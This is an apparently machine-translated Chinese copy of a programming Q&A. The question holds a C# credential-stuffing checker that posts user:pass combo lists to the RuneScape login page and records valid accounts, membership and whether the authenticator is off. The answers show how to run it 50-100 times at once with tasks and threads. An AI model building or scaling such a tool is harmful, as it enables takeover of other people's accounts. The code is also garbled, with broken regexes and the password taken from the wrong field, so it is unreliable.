如何使此C#方法多线程



我有我要尝试进行多线程或能够一次运行100个线程(请求?)的C#类。

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] lines = File.ReadAllLines("C:\checker/in.txt");
            var accCount = File.ReadLines(@"C:checker/in.txt").Count();
            Console.Write("Accounts loaded: " + accCount);
            Console.WriteLine();
            foreach (string line in lines)
            {
                string[] account = line.Split(new char[] { ':' });
                string user = account[0];
                string pass = account[1];
                addThreads(user, pass);
                Threads.ForEach(t => t.Start());
                Console.WriteLine();
            }
            // Suspend the screen.
            Console.ReadLine();
        }
        public static List<Thread> Threads = new List<Thread>();
        public static void addThreads(string user, string pass)
        {
            var checker = new Checker();
            Threads.Clear();
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
        }
    }
    public class Checker
    {
        //declare vars
        string getUsername;
        string getMember;
        string getAuth;
        string check;
        public void checkAccount(string username, string password)
        {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            byte[] data = Encoding.ASCII.GetBytes(
    $"username={username}&password={password}&mod=www&ssl=1&dest=account_settings.ws");
            WebRequest request = WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
            request.Method = "POST";
            request.ContentType = "application/x-www-form-urlencoded";
            request.ContentLength = data.Length;
            using (Stream stream = request.GetRequestStream())
            {
                stream.Write(data, 0, data.Length);
            }
            string responseContent = null;
            using (WebResponse response = request.GetResponse())
            {
                using (Stream stream = response.GetResponseStream())
                {
                    using (StreamReader sr99 = new StreamReader(stream))
                    {
                        responseContent = sr99.ReadToEnd();
                    }
                }
            }
            //parse captcha
            string patternCaptcha = @"Pleases*completes*thes*reCAPTCHAs*box";
            string inputCaptcha = responseContent;
            Match matchCaptcha = Regex.Match(inputCaptcha, patternCaptcha);
            string captcha = matchCaptcha.Value;
            if (captcha == "Please complete the reCAPTCHA box")
            {
                captcha = "true";
                Console.Write("captcha,captcha,captcha,captcha");
                Console.WriteLine();
                //return "captcha,captcha,captcha,captcha";
            }
            else
            {
                //parse valid/invalid
                string patternCheck = @"Yours*logins*ors*passwords*wass*incorrect";
                string inputCheck = responseContent;
                Match matchCheck = Regex.Match(inputCheck, patternCheck);
                check = matchCheck.Value;
                if (check == "Your login or password was incorrect")
                {
                    check = "Invalid";
                }
                else
                {
                    check = "Valid";
                    //parse display name
                    string pattern = @"(<span.*class=.header-top__name.>(.*?)</span>)";
                    string input = responseContent;
                    Match match = Regex.Match(input, pattern);
                    getUsername = match.Groups[2].Value;
                    byte[] bytes = Encoding.Default.GetBytes(getUsername);
                    getUsername = Encoding.UTF8.GetString(bytes);
                    getUsername = getUsername.Replace("?", " ");
                    //parse member status
                    string patternMember = @"(Currentlys*Nots*as*Member)";
                    string inputMember = responseContent;
                    Match matchMember = Regex.Match(inputMember, patternMember);
                    getMember = matchMember.Value;
                    if (getMember == "Currently Not a Member")
                    {
                        getMember = "Non Member";
                    }
                    else
                    {
                        getMember = "Member";
                    }
                    //parse auth status
                    string patternAuthUrl = @"iframe src=""(.*?)""";
                    string inputAuthUrl = responseContent;
                    Match matchAuthUrl = Regex.Match(inputAuthUrl, patternAuthUrl);
                    string getAuthUrl = matchAuthUrl.Groups[1].Value;
                    using (WebClient client = new WebClient())
                    {
                        string authSource = client.DownloadString(getAuthUrl);
                        string patternAuth = @"RuneScapes*Authenticators*iss*disabled";
                        string inputAuth = authSource;
                        Match matchAuth = Regex.Match(inputAuth, patternAuth);
                        getAuth = matchAuth.Value;
                        if (getAuth == "RuneScape Authenticator is disabled")
                        {
                            getAuth = "Auth Disabled";
                        }
                        else
                        {
                            getAuth = "Authed";
                        }
                    }
                }
                captcha = "false";
                string curldata = getUsername + "," + getMember + "," + getAuth + "," + check;
                Console.Write(curldata);
                Console.WriteLine();
            }
        }
    }
}

,我如何同时使这件事进行50-100次,而不是每个帖子每几秒钟进行一次检查?这可能吗?还是我需要以不同的方式这样做?

您需要避免使用线程,因为每个线程都使用超过1MB的RAM,并且它们的创建速度很慢。您确实想使用任务(TPL)或可观察到(RX)。

在这种情况下,使用任务很直接。

尝试此代码:

string[] lines = File.ReadAllLines("C:\checker/in.txt");
var accCount = lines.Count();
Console.Write("Accounts loaded: " + accCount);
Console.WriteLine();
var checker = new Checker();
var tasks =
    from line in lines
    let account = line.Split(new char[] { ':' })
    let user = account[0]
    let pass = account[0]
    select Task.Factory.StartNew(() =>  checker.checkAccount(user, pass));
Task.WaitAll(tasks.ToArray());
Console.ReadLine();

将读取文本文件并排队以运行以检查每行的一组任务。Task.WaitAll暂停代码,直到所有任务完成为止。

这种有效地利用了线程池,因此您不会浪费宝贵的资源来启动线程。

目前您的checkAccount也不是线程安全。您需要将现场级变量移动到您的方法内部。它应该看起来像这样:

public void checkAccount(string username, string password)
{
    string getUsername;
    string getMember;
    string getAuth;
    string check;

这很简单,首先您需要做一种调用线程的方法

public void CallingThreadsMethod()
    {
        ThreadStart ts = new ThreadStart(SomeFunction);
        Thread t = Thread(ts);
        t.IsBackground = true;
        t.Start();
    }
void Somefunction(){}

,或者如果您想要许多线程,则可以做一个线程列表

public static List<Thread> Threads = new List<Thread>();
    public static void addThreads()
    {
        Threads.Clear();
        Threads.Add(new Thread(Method1));
        Threads.Add(new Thread(Method2));
    }

并在您的主函数中启动它

Vars.addThreads();
Vars.Threads.ForEach(t => t.Start());

但是,如果您使用的是Windows表单或WPF,我建议使用背景工作人员

最新更新